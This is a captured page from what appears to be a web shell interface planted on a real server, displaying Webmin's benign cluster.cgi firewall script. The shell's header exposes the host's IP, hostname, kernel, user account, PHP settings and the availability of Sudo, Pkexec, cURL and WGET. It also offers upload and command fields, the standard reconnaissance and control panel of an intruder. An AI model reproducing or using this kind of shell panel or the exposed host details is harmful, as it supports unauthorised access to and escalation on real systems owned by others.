Private
Server IP : 195.201.23.43  /  Your IP : 18.216.211.173
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/firewall6/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/firewall6/cluster.cgi
#!/usr/bin/perl
# Show hosts in firewall cluster

require './firewall-lib.pl';
&ReadParse();
if (&get_ipvx_version() == 6) {
	require './firewall6-lib.pl';
	}
else {
	require './firewall4-lib.pl';
	}
$access{'cluster'} || &error($text{'ecluster'});
&foreign_require("servers", "servers-lib.pl");
&ui_print_header($text{"index_title_v${ipvx}"}, $text{'cluster_title'}, undef, "cluster");

# Show existing servers
@servers = &list_cluster_servers();
if (@servers) {
	print &ui_form_start("cluster_delete.cgi", "post");
        print &ui_hidden("version", ${ipvx_arg});
	print &ui_columns_start([ "",
				  $text{'cluster_host'},
				  $text{'cluster_desc'},
				  $text{'cluster_os'} ], 100);
	foreach $s (@servers) {
		($t) = grep { $_->[0] eq $s->{'type'} } @servers::server_types;
		print &ui_checked_columns_row([
			&html_escape($s->{'host'}),
			&html_escape($s->{'desc'}),
			$t->[1],
			], undef, "d", $s->{'id'});
		}
	print &ui_columns_end();
	print &ui_form_end([ [ undef, $text{'cluster_delete'} ] ]);
	}
else {
	print "<b>$text{'cluster_none'}</b><p>\n";
	}

# Show buttons to add
print "<form action=cluster_add.cgi>\n";
print &ui_hidden("version", ${ipvx_arg});
print "<table width=100%><tr>\n";
@allservers = grep { $_->{'user'} } &servers::list_servers();
%gothost = map { $_->{'id'}, 1 } @servers;
@addservers = grep { !$gothost{$_->{'id'}} } @allservers;
if (@addservers) {
	print "<td><input type=submit name=add value='$text{'cluster_add'}'>\n";
	print "<select name=server>\n";
	foreach $s (@addservers) {
		print "<option value=$s->{'id'}>",
			$s->{'desc'} ? $s->{'desc'} : $s->{'host'},"</option>\n";
		}
	print "</select></td>\n";
	}
@groups = &servers::list_all_groups(\@allservers);
if (@groups) {
	print "<td align=right><input type=submit name=gadd ",
	      "value='$text{'cluster_gadd'}'>\n";
	print "<select name=group>\n";
	foreach $g (@groups) {
		print "<option>$g->{'name'}</option>\n";
		}
	print "</select></td>\n";
	}
print "</tr></table></form>\n";
if (!@allservers) {
	print "<b>$text{'cluster_need'}</b><p>\n";
	}

&ui_print_footer("index.cgi?version=${ipvx_arg}", $text{'index_return'});

Private